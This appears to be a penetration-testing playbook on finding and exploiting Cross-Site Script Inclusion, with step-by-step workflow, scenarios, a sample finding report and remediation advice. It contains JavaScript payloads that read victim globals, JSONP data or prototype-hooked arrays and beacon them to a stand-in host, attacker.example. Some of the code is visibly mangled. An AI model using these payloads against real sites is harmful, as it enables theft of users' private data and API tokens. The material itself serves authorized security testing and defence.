Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and read sensitive data from static scripts, dynamic JS, JSONP responses, or non-JS files (CSV) included as scripts. Activates when assessing endpoints that return JS/JSONP or data reachable via a script tag.
Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and read sensitive data from static scripts, dynamic JS, JSONP responses, or non-JS files (CSV) included as scripts. Activates when assessing endpoints that return JS/JSONP or data reachable via a script tag.
During authorized assessments of endpoints that return JavaScript, JSONP, or data consumable via a <script> tag
When an authenticated endpoint embeds user-specific data into a JS file or global variable
When the application exposes a JSONP callback parameter (?callback=, ?jsonp=)
When sensitive data (CSV, JSON) is served with a permissive Content-Type and no anti-inclusion guard
When evaluating whether endpoints rely on cookies (ambient authority) and lack CSRF-style tokens or CORB/CORP
Prerequisites
Authorization: Engagement scope covering cross-origin data disclosure with a logged-in victim test account
Attacker-controlled origin: A page you host to include the victim script and capture leaked data
Burp Suite + DetectDynamicJS: To diff responses with/without cookies and find dynamic (state-dependent) JS
Modern + legacy browser matrix: Some variants (UTF-7) only work in specific/older browsers
OOB collector: An endpoint to receive exfiltrated values
Critical: Variants Most Often Missed
XSSI is more than "leak a global variable". The four categories below each have
distinct exploitation paths.
# 1. Regular / static JS with secrets in globals
# Include the script, then read the global it defines.
# 2. Dynamic JS (secret added based on the user's session)
# Detect by diffing the response WITH vs WITHOUT cookies (DetectDynamicJS).
# 3. JSONP callback hijack
# Define the callback function (or object path) yourself before including.
# 4. Non-JS files included as scripts (CSV/JSON), UTF-7 charset escape.
Static-global leak:
<scriptsrc="https://victim.example/script.js"></script><script>// The included script defined confidential_keys in the global scope
navigator.sendBeacon("//attacker.example/leak", JSON.stringify(confidential_keys[]));
0
</script>
JSONP callback hijack (define the callback path you control):
Prototype tampering for non-global secrets (override built-ins to capture data):
Array.prototype.slice = function () {
// leaks the array contents the victim script processes, e.g. ["secret1","secret2"]newImage().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(this));
};
Non-JS (CSV) inclusion and UTF-7 JSON escape:
<!-- CSV/JSON leaked by being parsed as script in some engines --><scriptsrc="https://victim.example/export.csv"></script><!-- UTF-7 charset forces JSON to be interpreted as script in certain browsers --><scriptsrc="https://victim.example/json-utf7.json"charset="UTF-7"></script>
How to CONFIRM a hit (avoid false negatives)
Static/global: after the cross-origin <script> loads, the global variable/object it defines is readable from your page (typeof confidential_keys !== 'undefined') and contains real victim data. Confirm by beaconing the value.
Dynamic JS: the response BODY differs when the request carries the victim's cookies vs when it does not (DetectDynamicJS). The cookie-bearing version contains the secret — this is the exploitable case.
JSONP: your defined callback fires with the victim's data as its argument. Confirm by logging/beaconing the argument and seeing account-scoped content.
Non-JS / UTF-7: the parser raises a usable error/executes attacker JS, or the data becomes reachable; confirm in the specific browser where it works.
Always run the exploit in a logged-in victim browser session and verify the leaked data is genuinely private (belongs to the victim, not the attacker).
Workflow
Step 1: Find Script/JSONP/Data Endpoints
# Look for .js endpoints, JSONP callbacks, and data exports
grep -rEi "callback=|jsonp=|\.js(\?|$)|export\.csv|/api/.*\.json" proxy-history.txt
Note which endpoints require authentication and which echo a callback parameter.
Step 2: Detect Dynamic (State-Dependent) JS
# Compare the response with and without the session cookie
curl -s https://victim.example/profile.js > anon.js
curl -s -H "Cookie: session=<victim>" https://victim.example/profile.js > auth.js
diff anon.js auth.js # differences => dynamic XSSI candidate
Or use the Burp DetectDynamicJS extension to flag responses that vary by auth state.
Step 3: Leak Static / Dynamic Globals
Include the script cross-origin and read the globals it defines:
<scriptsrc="https://victim.example/profile.js"></script><script>for (const k of ["confidential_keys","userProfile","csrfToken"])
if (window[k]) newImage().src="//attacker.example/?"+k+"="+encodeURIComponent(JSON.stringify(window[k]));
</script>
Step 4: Hijack JSONP Callbacks
Define the exact callback name/path the endpoint expects, then include it (see payloads above). Capture the leaked argument to your OOB collector.
Step 5: Prototype Tampering for Non-Global Data
Override commonly used built-ins (Array.prototype.slice, etc.) before including the script so the victim script's internal data flows into your hook.
Step 6: Non-JS / Charset Tricks
Try including CSV/JSON as a script, and test the UTF-7 charset trick in older/specific browsers to escape JSON structure and capture data.
Key Concepts
Concept
Description
SOP Exemption for Scripts
<script src> can load cross-origin, unlike fetch/XHR — the root of XSSI
Ambient Authority
Cross-origin script requests automatically include the victim's cookies
Regular XSSI
Secrets in a static JS file readable after inclusion via globals
Dynamic XSSI
Secrets injected based on the user's session; detected by cookie-diffing responses
JSONP Hijack
Defining the callback function/object path to capture the JSONP payload
Prototype Tampering
Overriding built-ins (e.g., Array.prototype.slice) to read non-global data
Non-JS Inclusion
CSV/JSON leaked by being parsed as a script; UTF-7 charset escapes JSON
Tools & Systems
Tool
Purpose
Burp Suite + DetectDynamicJS
Diff JS responses by auth state to find dynamic XSSI
Attacker-hosted page + OOB collector
Include victim scripts and capture leaked data
CyberChef
Decode/inspect leaked structures and test charset transformations
grep / ripgrep
Discover JSONP callbacks and script/data endpoints in proxy history
Browser matrix (modern + legacy)
Validate charset/UTF-7 variants that depend on the engine
Common Scenarios
Scenario 1: Dynamic JS Leaks User Profile
/account/config.js embeds the logged-in user's email and an API token as global variables when requested with cookies. An attacker page includes it cross-origin and reads window.userConfig, exfiltrating the victim's token.
Scenario 2: JSONP Callback Hijack
A search API exposes ?callback= returning private results wrapped in the callback. The attacker defines a function named after the expected callback and includes the endpoint, capturing the victim's private search data.
Scenario 3: CSV Export Inclusion
/reports/export.csv is served with a script-friendly type and no anti-inclusion guard. Including it as a <script> (with a charset trick) lets the attacker read rows belonging to the victim.
Output Format
## XSSI Finding
**Vulnerability**: Cross-Site Script Inclusion (Dynamic JS / JSONP data leak)
**Severity**: High (CVSS 7.5)
**Location**: GET /account/config.js (credentialed, dynamic)
**OWASP Category**: A01:2021 - Broken Access Control (cross-origin data disclosure)
### Reproduction Steps
1. Diff /account/config.js with vs without session cookie -> body differs (dynamic)
2. Host attacker page including <script src="https://victim.example/account/config.js">
3. Read global window.userConfig defined by the script
4. Beacon the value to attacker collector; confirmed victim email + API token leaked
### Evidence
| Check | Result |
|-------|--------|
| Cookie-diff | response body differs by auth state |
| Leaked global | userConfig = { email, apiToken } |
| Victim-scoped | matches victim account, not attacker |
### Impact
Any site the victim visits can read the victim's private profile data and API
token cross-origin, enabling account compromise.
### Recommendation
1. Do not embed sensitive data in JS/JSONP responses; return data via JSON over fetch with CORS, not script inclusion
2. Require a non-cookie token (anti-CSRF) for sensitive data endpoints
3. Prefix JSON with an infinite loop / `)]}'` and parse server-trusted; reject script-tag inclusion
4. Send `X-Content-Type-Options: nosniff` and correct `Content-Type`; deploy CORB/CORP
5. Remove or authenticate JSONP callbacks; avoid serving CSV/data with script-executable types